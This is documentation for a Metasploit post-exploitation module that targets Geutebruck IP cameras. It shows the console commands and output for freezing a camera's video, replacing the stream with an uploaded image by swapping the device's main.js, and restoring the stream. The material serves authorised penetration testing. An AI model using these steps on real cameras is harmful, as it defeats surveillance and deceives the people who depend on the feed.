documentation/modules/post/linux/manage/geutebruck_post_exp.md
The following Geutebruck products using firmware versions <= 1.12.0.27, firmware version 1.12.13.2 or firmware version 1.12.14.5:
Many brands use the same firmware:
This module has been tested on a Geutebruck 5.02024 G-Cam EFD-2250 running the latest firmware version 1.12.0.27.
This module will take an existing session on a vulnerable Geutebruck Camera and will allow the user to either freeze the camera and display the last image from the video stream, display an image on the camera, or restore the camera back to displaying the current feed/stream.
Users can find additional details of the related vulnerabilities on the blogpost page at https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/.
msfconsoleuse post/linux/manage/geutebruck_post_expset SESSION <session number of the Geutebruck shell>set action FREEZE_CAMERArunmsfconsoleuse post/linux/manage/geutebruck_post_expset SESSION <session number of the Geutebruck shell>set action REPLACE_IMAGEset IMAGE /local/image/path/to/uploadrunmsfconsoleuse post/linux/manage/geutebruck_post_expset SESSION <session number of the Geutebruck shell>set action RESUME_STREAMrunmsf > use post/linux/manage/geutebruck_post_exp
msf post(linux/manage/geutebruck_post_exp) > show options
Module options (post/linux/manage/geutebruck_post_exp):
Name Current Setting Required Description
---- --------------- -------- -----------
IMAGE no Full path to the local copy of the image to upload
SESSION yes The session to run this module on.
Post action:
Name Description
---- -----------
FREEZE_CAMERA Freeze the camera and display the last image taken from the video stream
msf post(linux/manage/geutebruck_post_exp) > show actions
Post actions:
Name Description
---- -----------
CHANGE_IMAGE Display an arbitrary image instead of the video stream
FREEZE_CAMERA Freeze the camera and display the last image taken from the video stream
RESUME_STREAM Resume the camera's video stream and display the current live feed
msf post(linux/manage/geutebruck_post_exp) > set IMAGE /var/randori.jpg
IMAGE => /var/randori.jpg
msf post(linux/manage/geutebruck_post_exp) > set action CHANGE_IMAGE
action => CHANGE_IMAGE
msf post(linux/manage/geutebruck_post_exp) > set session 1
session => 1
msf post(linux/manage/geutebruck_post_exp) > run
[!] SESSION may not be compatible with this module.
[*] -- Starting action --
[*] Uploading a custom image...
[*] Backing up the original main.js...
[*] Using the new main.js...
[*] Done! The stream should be replaced by your image!
[*] Post module execution completed
msf post(linux/manage/geutebruck_post_exp) > set action FREEZE_CAMERA
action => FREEZE_CAMERA
msf post(linux/manage/geutebruck_post_exp) > run
[!] SESSION may not be compatible with this module.
[*] -- Starting action --
[*] Taking a snapshot of the current stream to use as the static image to freeze the stream on...
[*] Freezing the stream on the captured image...
[*] Backing up the original main.js...
[*] Using the new main.js...
[*] Stream frozen!
[*] Post module execution completed
msf post(linux/manage/geutebruck_post_exp) > set action RESUME_STREAM
action => RESUME_STREAM
msf post(linux/manage/geutebruck_post_exp) > run
[!] SESSION may not be compatible with this module.
[*] -- Starting action --
[*] Resuming stream...
[*] Restoring main.js backup...
[*] Restored! Stream back to a normal state.
[*] Post module execution completed